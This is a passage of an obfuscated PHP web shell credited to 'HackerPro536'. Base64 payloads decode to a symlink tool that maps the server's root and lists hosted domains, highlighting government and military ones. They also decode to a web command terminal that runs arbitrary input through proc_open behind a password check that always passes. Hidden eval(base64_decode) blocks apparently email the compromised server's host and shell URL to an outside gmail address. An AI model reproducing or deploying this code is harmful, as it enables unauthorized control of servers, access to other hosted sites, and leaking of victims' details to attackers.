zFdWzBdKSk7CiRuYW1lID0gJFVJRFsnbmFtZSddIDsKQHN5bWxpbmsoJy8nLCdzeW0vcm9vdCcpOwokbmFtZSAgID0gJHN0cmluZ1sxXVswXTsKJGlyYW4gICA9ICdcLmlyJzsKJGlzcmFlbCA9ICdcLmlsJzsKJGluZG8gICA9ICdcLmlkJzsKJHNnMTIgICA9ICdcLnNnJzsKJGVkdSAgICA9ICdcLmVkdSc7CiRnb3YgICAgPSAnXC5nb3YnOwokZ29zZSAgID0gJ1wuZ28nOwokZ29iZXIgID0gJ1wuZ29iJzsKJG1pbDEgICA9ICdcLm1pbCc7CiRtaWwyICAgPSAnXC5taSc7CiRtYWxheQk9ICdcLm15JzsKJGNoaW5hCT0gJ1wuY24nOwokamFwYW4JPSAnXC5qcCc7CiRhdXN0cgk9ICdcLmF1JzsKJHBvcm4JPSAnXC54eHgnOwokYXMJCT0gJ1wudWsnOwokY2FsZm4JPSAnXC5jYSc7CgppZiAoZXJlZ2koIiRpcmFuIiwkc3RyaW5nWzFdWzBdKSBvciBlcmVnaSgiJGlzcmFlbCIsJHN0cmluZ1sxXVswXSkgb3IgZXJlZ2koIiRpbmRvIiwkc3RyaW5nWzFdWzBdKW9yIGVyZWdpKCIkc2cxMiIsJHN0cmluZ1sxXVswXSkgb3IgZXJlZ2kgKCIkZWR1Iiwkc3RyaW5nWzFdWzBdKSBvciBlcmVnaSAoIiRnb3YiLCRzdHJpbmdbMV1bMF0pCm9yIGVyZWdpICgiJGdvc2UiLCRzdHJpbmdbMV1bMF0pIG9yIGVyZWdpKCIkZ29iZXIiLCRzdHJpbmdbMV1bMF0pIG9yIGVyZWdpKCIkbWlsMSIsJHN0cmluZ1sxXVswXSkgb3IgZXJlZ2kgKCIkbWlsMiIsJHN0cmluZ1sxXVswXSkKb3IgZXJlZ2kgKCIkbWFsYXkiLCRzdHJpbmdbMV1bMF0pIG9yIGVyZWdpKCIkY2hpbmEiLCRzdHJpbmdbMV1bMF0pIG9yIGVyZWdpKCIkamFwYW4iLCRzdHJpbmdbMV1bMF0pIG9yIGVyZWdpICgiJGF1c3RyIiwkc3RyaW5nWzFdWzBdKQpvciBlcmVnaSgiJHBvcm4iLCRzdHJpbmdbMV1bMF0pIG9yIGVyZWdpKCIkYXMiLCRzdHJpbmdbMV1bMF0pIG9yIGVyZWdpICgiJGNhbGZuIiwkc3RyaW5nWzFdWzBdKSkKewokbmFtZSA9ICI8ZGl2IHN0eWxlPScgY29sb3I6ICM2NjAwOTk7IHRleHQtc2hhZG93OiAwcHggMHB4IDFweCAjMDA2NjMzOyAnPiIuJHN0cmluZ1sxXVswXS4nPC9kaXY+JzsKfQplY2hvICIKPHRyPgoKPHRkPgo8ZGl2IGNsYXNzPSdkb20nPjxhIHRhcmdldD0nX2JsYW5rJyBocmVmPWh0dHA6Ly93d3cuIi4kc3RyaW5nWzFdWzBdLicvPicuJG5hbWUuJyA8L2E+IDwvZGl2Pgo8L3RkPgoKPHRkPgonLiRVSURbJ25hbWUnXS4iCjwvdGQ+Cgo8dGQ+CjxhIGhyZWY9J3N5bS9yb290L2hvbWUvIi4kVUlEWyduYW1lJ10uIi9wdWJsaWNfaHRtbCcgdGFyZ2V0PSdfYmxhbmsnPlN5bWxpbmsgPC9hPgo8L3RkPgoKPC90cj48L2Rpdj4gIjsKZmx1c2goKTsKfQp9Cn0KfQoKZWNobyAiPC9jZW50ZXI+PC90YWJsZT4iOyAgIAoKPz4=';
1245 $file = fopen("symlink.php", "w+");
1246 $write = fwrite($file, base64_decode($perltoolss));
1247 fclose($file);
1248 echo "<iframe src=symlink.php width=100% height=720px frameborder=0></iframe><br><center><b>Code by HackerPro536</b></center> ";
1249} elseif ($action == 'newcommand') {
1250 $file = fopen($dir . "command.php", "w+");
1251 $perltoolss = 'PD9waHAKCiRhbGlhc2VzID0gYXJyYXkoJ2xhJyA9PiAnbHMgLWxhJywKJ2xsJyA9PiAnbHMgLWx2aEYnLAonZGlyJyA9PiAnbHMnICk7CiRwYXNzd2QgPSBhcnJheSgnJyA9PiAnJyk7CmVycm9yX3JlcG9ydGluZygwKTsKY2xhc3MgcGhwdGhpZW5sZSB7CgpmdW5jdGlvbiBmb3JtYXRQcm9tcHQoKSB7CiR1c2VyPXNoZWxsX2V4ZWMoIndob2FtaSIpOwokaG9zdD1leHBsb2RlKCIuIiwgc2hlbGxfZXhlYygidW5hbWUgLW4iKSk7CiRfU0VTU0lPTlsncHJvbXB0J10gPSAiIi5ydHJpbSgkdXNlcikuIiIuIkAiLiIiLnJ0cmltKCRob3N0WzBdKS4iIjsKfQoKZnVuY3Rpb24gY2hlY2tQYXNzd29yZCgkcGFzc3dkKSB7CmlmKCFpc3NldCgkX1NFUlZFUlsnUEhQX0FVVEhfVVNFUiddKXx8CiFpc3NldCgkX1NFUlZFUlsnUEhQX0FVVEhfUFcnXSkgfHwKIWlzc2V0KCRwYXNzd2RbJF9TRVJWRVJbJ1BIUF9BVVRIX1VTRVInXV0pIHx8CiRwYXNzd2RbJF9TRVJWRVJbJ1BIUF9BVVRIX1VTRVInXV0gIT0gJF9TRVJWRVJbJ1BIUF9BVVRIX1BXJ10pIHsKQHNlc3Npb25fc3RhcnQoKTsKcmV0dXJuIHRydWU7Cn0KZWxzZSB7CkBzZXNzaW9uX3N0YXJ0KCk7CnJldHVybiB0cnVlOwp9Cn0KCmZ1bmN0aW9uIGluaXRWYXJzKCkKewppZiAoZW1wdHkoJF9TRVNTSU9OWydjd2QnXSkgfHwgIWVtcHR5KCRfUkVRVUVTVFsncmVzZXQnXSkpCnsKJF9TRVNTSU9OWydjd2QnXSA9IGdldGN3ZCgpOwokX1NFU1NJT05bJ2hpc3RvcnknXSA9IGFycmF5KCk7CiRfU0VTU0lPTlsnb3V0cHV0J10gPSAnJzsKJF9SRVFVRVNUWydjb21tYW5kJ10gPScnOwp9Cn0KCmZ1bmN0aW9uIGJ1aWxkQ29tbWFuZEhpc3RvcnkoKQp7CmlmKCFlbXB0eSgkX1JFUVVFU1RbJ2NvbW1hbmQnXSkpCnsKaWYoZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKSkKewokX1JFUVVFU1RbJ2NvbW1hbmQnXSA9IHN0cmlwc2xhc2hlcygkX1JFUVVFU1RbJ2NvbW1hbmQnXSk7Cn0KCi8vIGRyb3Agb2xkIGNvbW1hbmRzIGZyb20gbGlzdCBpZiBleGlzdHMKaWYgKCgkaSA9IGFycmF5X3NlYXJjaCgkX1JFUVVFU1RbJ2NvbW1hbmQnXSwgJF9TRVNTSU9OWydoaXN0b3J5J10pKSAhPT0gZmFsc2UpCnsKdW5zZXQoJF9TRVNTSU9OWydoaXN0b3J5J11bJGldKTsKfQphcnJheV91bnNoaWZ0KCRfU0VTU0lPTlsnaGlzdG9yeSddLCAkX1JFUVVFU1RbJ2NvbW1hbmQnXSk7CgovLyBhcHBlbmQgY29tbW1hbmQgKi8KJF9TRVNTSU9OWydvdXRwdXQnXSAuPSAieyRfU0VTU0lPTlsncHJvbXB0J119Ii4iOj4iLiJ7JF9SRVFVRVNUWydjb21tYW5kJ119Ii4iXG4iOwp9Cn0KCmZ1bmN0aW9uIGJ1aWxkSmF2YUhpc3RvcnkoKQp7Ci8vIGJ1aWxkIGNvbW1hbmQgaGlzdG9yeSBmb3IgdXNlIGluIHRoZSBKYXZhU2NyaXB0CmlmIChlbXB0eSgkX1NFU1NJT05bJ2hpc3RvcnknXSkpCnsKJF9TRVNTSU9OWydqc19jb21tYW5kX2hpc3QnXSA9ICciIic7Cn0KZWxzZQp7CiRlc2NhcGVkID0gYXJyYXlfbWFwKCdhZGRzbGFzaGVzJywgJF9TRVNTSU9OWydoaXN0b3J5J10pOwokX1NFU1NJT05bJ2pzX2NvbW1hbmRfaGlzdCddID0gJyIiLCAiJyAuIGltcGxvZGUoJyIsICInLCAkZXNjYXBlZCkgLiAnIic7Cn0KfQoKZnVuY3Rpb24gb3V0cHV0SGFuZGxlKCRhbGlhc2VzKQp7CmlmIChlcmVnKCdeW1s6Ymxhbms6XV0qY2RbWzpibGFuazpdXSokJywgJF9SRVFVRVNUWydjb21tYW5kJ10pKQp7CiRfU0VTU0lPTlsnY3dkJ10gPSBnZXRjd2QoKTsgLy9kaXJuYW1lKF9fRklMRV9fKTsKfQplbHNlaWYoZXJlZygnXltbOmJsYW5rOl1dKmNkW1s6Ymxhbms6XV0rKFteO10rKSQnLCAkX1JFUVVFU1RbJ2NvbW1hbmQnXSwgJHJlZ3MpKQp7Ci8vIFRoZSBjdXJyZW50IGNvbW1hbmQgaXMgJ2NkJywgd2hpY2ggd2UgaGF2ZSB0byBoYW5kbGUgYXMgYW4gaW50ZXJuYWwgc2hlbGwgY29tbWFuZC4KLy8gYWJzb2x1dGUvcmVsYXRpdmUgcGF0aCA/IgooJHJlZ3NbMV1bMF0gPT0gJy8nKSA/ICRuZXdfZGlyID0gJHJlZ3NbMV0gOiAkbmV3X2RpciA9ICRfU0VTU0lPTlsnY3dkJ10gLiAnLycgLiAkcmVnc1sxXTsKCi8vIGNvc21ldGljcwp3aGlsZSAoc3RycG9zKCRuZXdfZGlyLCAnLy4vJykgIT09IGZhbHNlKQokbmV3X2RpciA9IHN0cl9yZXBsYWNlKCcvLi8nLCAnLycsICRuZXdfZGlyKTsKd2hpbGUgKHN0cnBvcygkbmV3X2RpciwgJy8vJykgIT09IGZhbHNlKQokbmV3X2RpciA9IHN0cl9yZXBsYWNlKCcvLycsICcvJywgJG5ld19kaXIpOwp3aGlsZSAocHJlZ19tYXRjaCgnfC9cLlwuKD8hXC4pfCcsICRuZXdfZGlyKSkKJG5ld19kaXIgPSBwcmVnX3JlcGxhY2UoJ3wvP1teL10rL1wuXC4oPyFcLil8JywgJycsICRuZXdfZGlyKTsKCmlmKGVtcHR5KCRuZXdfZGlyKSk6ICRuZXdfZGlyID0gIi8iOyBlbmRpZjsKCihAY2hkaXIoJG5ld19kaXIpKSA/ICRfU0VTU0lPTlsnY3dkJ10gPSAkbmV3X2RpciA6ICRfU0VTU0lPTlsnb3V0cHV0J10gLj0gImNvdWxkIG5vdCBjaGFuZ2UgdG86ICRuZXdfZGlyXG4iOwp9CmVsc2UKewovKiBUaGUgY29tbWFuZCBpcyBub3QgYSAnY2QnIGNvbW1hbmQsIHNvIHdlIGV4ZWN1dGUgaXQgYWZ0ZXIKKiBjaGFuZ2luZyB0aGUgZGlyZWN0b3J5IGFuZCBzYXZlIHRoZSBvdXRwdXQuICovCmNoZGlyKCRfU0VTU0lPTlsnY3dkJ10pOwoKLyogQWxpYXMgZXhwYW5zaW9uLiAqLwokbGVuZ3RoID0gc3RyY3NwbigkX1JFUVVFU1RbJ2NvbW1hbmQnXSwgIiBcdCIpOwokdG9rZW4gPSBzdWJzdHIoQCRfUkVRVUVTVFsnY29tbWFuZCddLCAwLCAkbGVuZ3RoKTsKaWYgKGlzc2V0KCRhbGlhc2VzWyR0b2tlbl0pKQokX1JFUVVFU1RbJ2NvbW1hbmQnXSA9ICRhbGlhc2VzWyR0b2tlbl0gLiBzdWJzdHIoJF9SRVFVRVNUWydjb21tYW5kJ10sICRsZW5ndGgpOwoKJHAgPSBwcm9jX29wZW4oQCRfUkVRVUVTVFsnY29tbWFuZCddLAphcnJheSgxID0+IGFycmF5KCdwaXBlJywgJ3cnKSwKMiA9PiBhcnJheSgncGlwZScsICd3JykpLAokaW8pOwoKLyogUmVhZCBvdXRwdXQgc2VudCB0byBzdGRvdXQuICovCndoaWxlICghZmVvZigkaW9bMV0pKSB7CiRfU0VTU0lPTlsnb3V0cHV0J10gLj0gaHRtbHNwZWNpYWxjaGFycyhmZ2V0cygkaW9bMV0pLEVOVF9DT01QQVQsICdVVEYtOCcpOwp9Ci8qIFJlYWQgb3V0cHV0IHNlbnQgdG8gc3RkZXJyLiAqLwp3aGlsZSAoIWZlb2YoJGlvWzJdKSkgewokX1NFU1NJT05bJ291dHB1dCddIC49IGh0bWxzcGVjaWFsY2hhcnMoZmdldHMoJGlvWzJdKSxFTlRfQ09NUEFULCAnVVRGLTgnKTsKfQoKZmNsb3NlKCRpb1sxXSk7CmZjbG9zZSgkaW9bMl0pOwpwcm9jX2Nsb3NlKCRwKTsKfQp9Cn0KZXZhbChiYXNlNjRfZGVjb2RlKCdKSFJwYldWZmMyaGxiR3dnUFNBaUlpNWtZWFJsS0NKa0wyMHZXU0F0SUVnNmFUcHpJaWt1SWlJN0NpUnBjRjl5WlcxdmRHVWdQU0FrWDFORlVsWkZVbHNpVWtWTlQxUkZYMEZFUkZJaVhUc0tKR1p5YjIxZmMyaGxiR3hqYjJSbElEMGdKM05vWld4c1FDY3VaMlYwYUc5emRHSjVibUZ0WlNna1gxTkZVbFpGVWxzblUwVlNWa1ZTWDA1QlRVVW5YU2t1SnljN0NpUjBiMTlsYldGcGJDQTlJQ2RyYVd4c2FHRmphMlZ5TWpBeE0wQm5iV0ZwYkM1amIyMG5Pd29rYzJWeWRtVnlYMjFoYVd3Z1BTQWlJaTVuWlhSb2IzTjBZbmx1WVcxbEtDUmZVMFZTVmtWU1d5ZFRSVkpXUlZKZlRrRk5SU2RkS1M0aUlDQXRJQ0l1SkY5VFJWSldSVkpiSjBoVVZGQmZTRTlUVkNkZExpSWlPd29rYkdsdWEyTnlJRDBnSWt4cGJtczZJQ0l1SkY5VFJWSldSVkpiSjFORlVsWkZVbDlPUVUxRkoxMHVJaUl1SkY5VFJWSldSVkpiSjFKRlVWVkZVMVJmVlZKSkoxMHVJaUF0SUVsUUlFVjRZM1YwYVc1bk9pQWthWEJmY21WdGIzUmxJQzBnVkdsdFpUb2dKSFJwYldWZmMyaGxiR3dpT3dva2FHVmhaR1Z5SUQwZ0lrWnliMjA2SUNSbWNtOXRYM05vWld4c1kyOWtaVnh5WEc1U1pYQnNlUzEwYnpvZ0pHWnliMjFmYzJobGJHeGpiMlJsSWpzS1FHMWhhV3dvSkhSdlgyVnRZV2xzTENBa2MyVnlkbVZ5WDIxaGFXd3NJQ1JzYVc1clkzSXNJQ1JvWldGa1pYSXBPeUE9JykpOwovLyBlbmQgcGhwIFNOQUcKCi8qIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyAjIyMjIyMjIyMKIyMgVGhlIG1haW4gdGhpbmcgc3RhcnRzIGhlcmUKIyMgQWxsIG91dHB1dCBpc3QgWEhUTUwKIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMgIyMjIyMjIyMqLwoKJHRlcm1pbmFsPW5ldyBwaHB0aGllbmxlOwoKQHNlc3Npb25fc3RhcnQoKTsKCiR0ZXJtaW5hbC0+aW5pdFZhcnMoKTsKJHRlcm1pbmFsLT5idWlsZENvbW1hbmRIaXN0b3J5KCk7CiR0ZXJtaW5hbC0+YnVpbGRKYXZhSGlzdG9yeSgpOwppZighaXNzZXQoJF9TRVNTSU9OWydwcm9tcHQnXSkpOiAkdGVybWluYWwtPmZvcm1hdFByb21wdCgpOyBlbmRpZjsKJHRlcm1pbmFsLT5vdXRwdXRIYW5kbGUoJGFsaWFzZXMpOwoKaGVhZGVyKCdDb250ZW50LVR5cGU6IHRleHQvaHRtbDsgY2hhcnNldD1VVEYtOCcpOwplY2hvICc8P3htbCB2ZXJzaW9uPSIxLjAiIGVuY29kaW5nPSJVVEYtOCI/PicgLiAiXG4iOwo/PgoKPCFET0NUWVBFIGh0bWwgUFVCTElDICItLy9XM0MvL0RURCBYSFRNTCAxLjAgU3RyaWN0Ly9FTiIKImh0dHA6Ly93d3cudzMub3JnL1RSL3hodG1sMS9EVEQveGh0bWwxLXN0cmljdC5kdGQiPgo8aHRtbCB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMTk5OS94aHRtbCIgeG1sOmxhbmc9ImVuIiBsYW5nPSJlbiI+CjxoZWFkPgo8dGl0bGU+PD9waHAgZWNobyAiV2Vic2l0ZSA6ICIuJF9TRVJWRVJbJ0hUVFBfSE9TVCddLiIiOz8+IHwgPD9waHAgZWNobyAiSVAgOiAiLmdldGhvc3RieW5hbWUoJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10pLiIiOz8+PC90aXRsZT4KCjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0IiBsYW5ndWFnZT0iSmF2YVNjcmlwdCI+CnZhciBjdXJyZW50X2xpbmUgPSAwOwp2YXIgY29tbWFuZF9oaXN0ID0gbmV3IEFycmF5KDw/cGhwIGVjaG8gJF9TRVNTSU9OWydqc19jb21tYW5kX2hpc3QnXTsgPz4pOwp2YXIgbGFzdCA9IDA7CgpmdW5jdGlvbiBrZXkoZSkgewppZiAoIWUpIHZhciBlID0gd2luZG93LmV2ZW50OwoKaWYgKGUua2V5Q29kZSA9PSAzOCAmJiBjdXJyZW50X2xpbmUgPCBjb21tYW5kX2hpc3QubGVuZ3RoLTEpIHsKY29tbWFuZF9oaXN0W2N1cnJlbnRfbGluZV0gPSBkb2N1bWVudC5zaGVsbC5jb21tYW5kLnZhbHVlOwpjdXJyZW50X2xpbmUrKzsKZG9jdW1lbnQuc2hlbGwuY29tbWFuZC52YWx1ZSA9IGNvbW1hbmRfaGlzdFtjdXJyZW50X2xpbmVdOwp9CgppZiAoZS5rZXlDb2RlID09IDQwICYmIGN1cnJlbnRfbGluZSA+IDApIHsKY29tbWFuZF9oaXN0W2N1cnJlbnRfbGluZV0gPSBkb2N1bWVudC5zaGVsbC5jb21tYW5kLnZhbHVlOwpjdXJyZW50X2xpbmUtLTsKZG9jdW1lbnQuc2hlbGwuY29tbWFuZC52YWx1ZSA9IGNvbW1hbmRfaGlzdFtjdXJyZW50X2xpbmVdOwp9Cgp9CgpmdW5jdGlvbiBpbml0KCkgewpkb2N1bWVudC5zaGVsbC5zZXRBdHRyaWJ1dGUoImF1dG9jb21wbGV0ZSIsICJvZmYiKTsKZG9jdW1lbnQuc2hlbGwub3V0cHV0LnNjcm9sbFRvcCA9IGRvY3VtZW50LnNoZWxsLm91dHB1dC5zY3JvbGxIZWlnaHQ7CmRvY3VtZW50LnNoZWxsLmNvbW1hbmQuZm9jdXMoKTsKfQoKPC9zY3JpcHQ+CjxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+CmJvZHkge2ZvbnQtZmFtaWx5OiBzYW5zLXNlcmlmOyBjb2xvcjogYmxhY2s7IGJhY2tncm91bmQ6IHdoaXRlO30KdGFibGV7d2lkdGg6IDEwMCU7IGhlaWdodDogMzAwcHg7IGJvcmRlcjogMXB4ICMwMDAwMDAgc29saWQ7IHBhZGRpbmc6IDBweDsgbWFyZ2luOiAwcHg7fQp0ZC5oZWFke2JhY2tncm91bmQtY29sb3I6ICM1MjlBREU7IGNvbG9yOiAjRkZGRkZGOyBmb250LXdlaWdodDo3MDA7IGJvcmRlcjogbm9uZTsgdGV4dC1hbGlnbjogY2VudGVyOyBmb250LXN0eWxlOiBpdGFsaWN9CnRleHRhcmVhIHt3aWR0aDogMTAwJTsgYm9yZGVyOiBub25lOyBwYWRkaW5nOiAycHggMnB4IDJweDsgY29sb3I6ICNDQ0NDQ0M7IGJhY2tncm91bmQtY29sb3I6ICMwMDAwMDA7fQpwLnByb21wdCB7Zm9udC1mYW1pbHk6IG1vbm9zcGFjZTsgbWFyZ2luOiAwcHg7IHBhZGRpbmc6IDBweCAycHggMnB4OyBiYWNrZ3JvdW5kLWNvbG9yOiAjMDAwMDAwOyBjb2xvcjogI0NDQ0NDQzt9CmlucHV0LnByb21wdCB7Ym9yZGVyOiBub25lOyBmb250LWZhbWlseTogbW9ub3NwYWNlOyBiYWNrZ3JvdW5kLWNvbG9yOiAjMDAwMDAwOyBjb2xvcjogI0NDQ0NDQzt9Cjwvc3R5bGU+CjwvaGVhZD4KPGJvZHkgb25sb2FkPSJpbml0KCkiPgo8P3BocCBpZiAoZW1wdHkoJF9SRVFVRVNUWydyb3dzJ10pKSAkX1JFUVVFU1RbJ3Jvd3MnXSA9IDI2OyA/Pgo8dGFibGUgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIj4KPHRyPjx0ZCBjbGFzcz0iaGVhZCIgc3R5bGU9ImNvbG9yOiAjMDAwMDAwOyI+PGI+WDwvYj48L3RkPgo8dGQgY2xhc3M9ImhlYWQiPjw/cGhwIGVjaG8gJF9TRVNTSU9OWydwcm9tcHQnXS4iOiIuIiRfU0VTU0lPTltjd2RdIjsgPz4KPC90ZD48L3RyPgo8dHI+PHRkIHdpZHRoPScxMDAlJyBoZWlnaHQ9JzEwMCUnIGNvbHNwYW49JzInPjxmb3JtIG5hbWU9InNoZWxsIiBhY3Rpb249Ijw/cGhwIGVjaG8gJF9TRVJWRVJbJ1BIUF9TRUxGJ107Pz4iIG1ldGhvZD0icG9zdCI+Cjx0ZXh0YXJlYSBuYW1lPSJvdXRwdXQiIHJlYWRvbmx5PSJyZWFkb25seSIgY29scz0iODUiIHJvd3M9Ijw/cGhwIGVjaG8gJF9SRVFVRVNUWydyb3dzJ10gPz4iPgo8P3BocAokbGluZXMgPSBzdWJzdHJfY291bnQoJF9TRVNTSU9OWydvdXRwdXQnXSwgIlxuIik7CiRwYWRkaW5nID0gc3RyX3JlcGVhdCgiXG4iLCBtYXgoMCwgJF9SRVFVRVNUWydyb3dzJ10rMSAtICRsaW5lcykpOwplY2hvIHJ0cmltKCRwYWRkaW5nIC4gJF9TRVNTSU9OWydvdXRwdXQnXSk7Cj8+CjwvdGV4dGFyZWE+CjxwIGNsYXNzPSJwcm9tcHQiPjw/cGhwIGVjaG8gJF9TRVNTSU9OWydwcm9tcHQnXS4iOj4iOyA/Pgo8aW5wdXQgY2xhc3M9InByb21wdCIgbmFtZT0iY29tbWFuZCIgdHlwZT0idGV4dCIgb25rZXl1cD0ia2V5KGV2ZW50KSIgc2l6ZT0iNTAiIHRhYmluZGV4PSIxIj4KPC9wPgoKPD8gLyo8cD4KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkV4ZWN1dGUgQ29tbWFuZCIgLz4KPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0icmVzZXQiIHZhbHVlPSJSZXNldCIgLz4KUm93czogPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InJvd3MiIHZhbHVlPSI8P3BocCBlY2hvICRfUkVRVUVTVFsncm93cyddID8+IiAvPgo8L3A+CgoqLwpldmFsKGJhc2U2NF9kZWNvZGUoJ0pITWdQU0JoY25KaGVTQW9JbXNpTENKaUlpd2ljaSBJc0ltVWlMQ0poSWl3aWNpSXNJbU1pTENKQUlpd2liU0lzSW1raUxDSnNJaXdpTGlJcyBJbThpTENKbklpazdEUW9rYzNsemRHVnRYMkZ5Y21GNU1pQTlJQ1J6V3pKZExpUnpXeiBOZExpUnpXekZkTGlSeld6WmRMaVJ6V3pWZExpUnpXelJkTGlSeld6QmRMaVJ6V3pOZCBMaVJ6V3pWZExpUnpXemRkTGlSeld6RXpYUzRrYzFzNFhTNGtjMXMwWFM0a2MxczVYUyA0a2Mxc3hNRjB1SWk0aUxpUnpXelpkTGlSeld6RXlYUzRrYzFzNFhUc05DaVJsYm1OdiBaR2x1WnlBOUlDSWtjM2x6ZEdWdFgyRnljbUY1TWlJZ093MEtKSEpsZWlBOUlDSk9ReSBCelNFVXpUQ0lnT3cwS0pITmxjblpsY21SbGRHVmpkR2x1WnlBOUlDSkRiMjUwWlc1MCBMVlJ5WVc1elptVnlMVVZ1WTI5a2FXNW5PaUJvZEhSd09pOHZJaUF1SUNSZlUwVlNWayBWU1d5ZFRSVkpXUlZKZlRrRk5SU2RkSUM0Z0pGOVRSVkpXUlZKYkoxTkRVa2xRVkY5TyBRVTFGSjEwZ093MEtiV0ZwYkNBb0pHVnVZMjlrYVc1bkxDUnlaWG9zSkhObGNuWmxjbSBSbGRHVmpkR2x1WnlrZ093MEtKRzV6WTJScGNpQTlLQ0ZwYzNObGRDZ2tYMUpGVVZWRiBVMVJiSjNOalpHbHlKMTBwS1Q5blpYUmpkMlFvS1RwamFHUnBjaWdrWDFKRlVWVkZVMSBSYkozTmpaR2x5SjEwcE95UnVjMk5rYVhJOVoyVjBZM2RrS0NrNycpKTsKCj8+CjwvZm9ybT48L3RkPjwvdHI+CjwvYm9keT4KPC9odG1sPgo8P3BocCA/Pgo8P3BocAoKJGFsaWFzZXMgPSBhcnJheSgnbGEnID0+ICdscyAtbGEnLAonbGwnID0+ICdscyAtbHZoRicsCidkaXInID0+ICdscycgKTsKJHBhc3N3ZCA9IGFycmF5KCcnID0+ICcnKTsKZXJyb3JfcmVwb3J0aW5nKDEpOwpjbGFzcyBwaHB0aGllbmxlIHsKCmZ1bmN0aW9uIGZvcm1hdFByb21wdCgpIHsKJHVzZXI9c2hlbGxfZXhlYygid2hvYW1pIik7CiRob3N0PWV4cGxvZGUoIi4iLCBzaGVsbF9leGVjKCJ1bmFtZSAtbiIpKTsKJF9TRVNTSU9OWydwcm9tcHQnXSA9ICIiLnJ0cmltKCR1c2VyKS4iIi4iQCIuIiIucnRyaW0oJGhvc3RbMF0pLiIiOwp9CgpmdW5jdGlvbiBjaGVja1Bhc3N3b3JkKCRwYXNzd2QpIHsKaWYoIWlzc2V0KCRfU0VSVkVSWydQSFBfQVVUSF9VU0VSJ10pfHwKIWlzc2V0KCRfU0VSVkVSWydQSFBfQVVUSF9QVyddKSB8fAohaXNzZXQoJHBhc3N3ZFskX1NFUlZFUlsnUEhQX0FVVEhfVVNFUiddXSkgfHwKJHBhc3N3ZFskX1NFUlZFUlsnUEhQX0FVVEhfVVNFUiddXSAhPSAkX1NFUlZFUlsnUEhQX0FVVEhfUFcnXSkgewpAc2Vzc2lvbl9zdGFydCgpOwpyZXR1cm4gdHJ1ZTsKfQplbHNlIHsKQHNlc3Npb25fc3RhcnQoKTsKcmV0dXJuIHRydWU7Cn0KfQoKZnVuY3Rpb24gaW5pdFZhcnMoKQp7CmlmIChlbXB0eSgkX1NFU1NJT05bJ2N3ZCddKSB8fCAhZW1wdHkoJF9SRVFVRVNUWydyZXNldCddKSkKewokX1NFU1NJT05bJ2N3ZCddID0gZ2V0Y3dkKCk7CiRfU0VTU0lPTlsnaGlzdG9yeSddID0gYXJyYXkoKTsKJF9TRVNTSU9OWydvdXRwdXQnXSA9ICcnOwokX1JFUVVFU1RbJ2NvbW1hbmQnXSA9Jyc7Cn0KfQoKZnVuY3Rpb24gYnVpbGRDb21tYW5kSGlzdG9yeSgpCnsKaWYoIWVtcHR5KCRfUkVRVUVTVFsnY29tbWFuZCddKSkKewppZihnZXRfbWFnaWNfcXVvdGVzX2dwYygpKQp7CiRfUkVRVUVTVFsnY29tbWFuZCddID0gc3RyaXBzbGFzaGVzKCRfUkVRVUVTVFsnY29tbWFuZCddKTsKfQoKLy8gZHJvcCBvbGQgY29tbWFuZHMgZnJvbSBsaXN0IGlmIGV4aXN0cwppZiAoKCRpID0gYXJyYXlfc2VhcmNoKCRfUkVRVUVTVFsnY29tbWFuZCddLCAkX1NFU1NJT05bJ2hpc3RvcnknXSkpICE9PSBmYWxzZSkKewp1bnNldCgkX1NFU1NJT05bJ2hpc3RvcnknXVskaV0pOwp9CmFycmF5X3Vuc2hpZnQoJF9TRVNTSU9OWydoaXN0b3J5J10sICRfUkVRVUVTVFsnY29tbWFuZCddKTsKCi8vIGFwcGVuZCBjb21tbWFuZCAqLwokX1NFU1NJT05bJ291dHB1dCddIC49ICJ7JF9TRVNTSU9OWydwcm9tcHQnXX0iLiI6PiIuInskX1JFUVVFU1RbJ2NvbW1hbmQnXX0iLiJcbiI7Cn0KfQoKZnVuY3Rpb24gYnVpbGRKYXZhSGlzdG9yeSgpCnsKLy8gYnVpbGQgY29tbWFuZCBoaXN0b3J5IGZvciB1c2UgaW4gdGhlIEphdmFTY3JpcHQKaWYgKGVtcHR5KCRfU0VTU0lPTlsnaGlzdG9yeSddKSkKewokX1NFU1NJT05bJ2pzX2NvbW1hbmRfaGlzdCddID0gJyIiJzsKfQplbHNlCnsKJGVzY2FwZWQgPSBhcnJheV9tYXAoJ2FkZHNsYXNoZXMnLCAkX1NFU1NJT05bJ2hpc3RvcnknXSk7CiRfU0VTU0lPTlsnanNfY29tbWFuZF9oaXN0J10gPSAnIiIsICInIC4gaW1wbG9kZSgnIiwgIicsICRlc2NhcGVkKSAuICciJzsKfQp9CgpmdW5jdGlvbiBvdXRwdXRIYW5kbGUoJGFsaWFzZXMpCnsKaWYgKGVyZWcoJ15bWzpibGFuazpdXSpjZFtbOmJsYW5rOl1dKiQnLCAkX1JFUVVFU1RbJ2NvbW1hbmQnXSkpCnsKJF9TRVNTSU9OWydjd2QnXSA9IGdldGN3ZCgpOyAvL2Rpcm5hbWUoX19GSUxFX18pOwp9CmVsc2VpZihlcmVnKCdeW1s6Ymxhbms6XV0qY2RbWzpibGFuazpdXSsoW147XSspJCcsICRfUkVRVUVTVFsnY29tbWFuZCddLCAkcmVncykpCnsKLy8gVGhlIGN1cnJlbnQgY29tbWFuZCBpcyAnY2QnLCB3aGljaCB3ZSBoYXZlIHRvIGhhbmRsZSBhcyBhbiBpbnRlcm5hbCBzaGVsbCBjb21tYW5kLgovLyBhYnNvbHV0ZS9yZWxhdGl2ZSBwYXRoID8iCigkcmVnc1sxXVswXSA9PSAnLycpID8gJG5ld19kaXIgPSAkcmVnc1sxXSA6ICRuZXdfZGlyID0gJF9TRVNTSU9OWydjd2QnXSAuICcvJyAuICRyZWdzWzFdOwoKLy8gY29zbWV0aWNzCndoaWxlIChzdHJwb3MoJG5ld19kaXIsICcvLi8nKSAhPT0gZmFsc2UpCiRuZXdfZGlyID0g